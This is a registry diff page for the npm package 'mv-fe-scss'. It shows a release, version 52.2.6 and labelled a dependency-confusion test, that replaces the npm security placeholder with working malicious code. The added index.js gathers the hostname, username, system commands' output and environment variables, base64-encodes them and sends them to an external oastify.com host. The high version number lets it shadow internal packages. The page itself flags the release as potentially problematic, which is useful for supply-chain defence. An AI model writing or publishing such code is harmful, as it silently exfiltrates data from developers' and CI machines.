mv-fe-scss 0.0.1-security → 52.2.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of mv-fe-scss might be problematic. Click here for more details.
- package/index.js +41 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const cp = require('child_process');
|
3
|
+
const https = require('https');
|
4
|
+
|
5
|
+
function safe(cmd) {
|
6
|
+
try {
|
7
|
+
return cp.execSync(cmd).toString().trim();
|
8
|
+
} catch {
|
9
|
+
return '';
|
10
|
+
}
|
11
|
+
}
|
12
|
+
|
13
|
+
const info = {
|
14
|
+
hostname: os.hostname(),
|
15
|
+
platform: os.platform(),
|
16
|
+
arch: os.arch(),
|
17
|
+
username: os.userInfo().username,
|
18
|
+
cwd: process.cwd(),
|
19
|
+
uname: safe('uname -a'),
|
20
|
+
whoami: safe('whoami'),
|
21
|
+
env: {
|
22
|
+
CI: process.env.CI,
|
23
|
+
GITHUB_ACTIONS: process.env.GITHUB_ACTIONS,
|
24
|
+
USER: process.env.USER,
|
25
|
+
HOME: process.env.HOME,
|
26
|
+
PATH: process.env.PATH
|
27
|
+
}
|
28
|
+
};
|
29
|
+
|
30
|
+
const payload = Buffer.from(JSON.stringify(info)).toString('base64');
|
31
|
+
|
32
|
+
const options = {
|
33
|
+
hostname: 'l9vm8i67pap5uw6gg7gp7lq8nztqhk59.oastify.com',
|
34
|
+
path: `/log?d=${encodeURIComponent(payload)}`,
|
35
|
+
method: 'GET'
|
36
|
+
};
|
37
|
+
|
38
|
+
const req = https.request(options, res => {});
|
39
|
+
req.on('error', () => {});
|
40
|
+
req.end();
|
41
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "mv-fe-scss",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "52.2.6",
|
4
|
+
"description": "Dependency confusion test package",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "Your Name",
|
10
|
+
"license": "MIT"
|
6
11
|
}
|
12
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=mv-fe-scss for more information.
|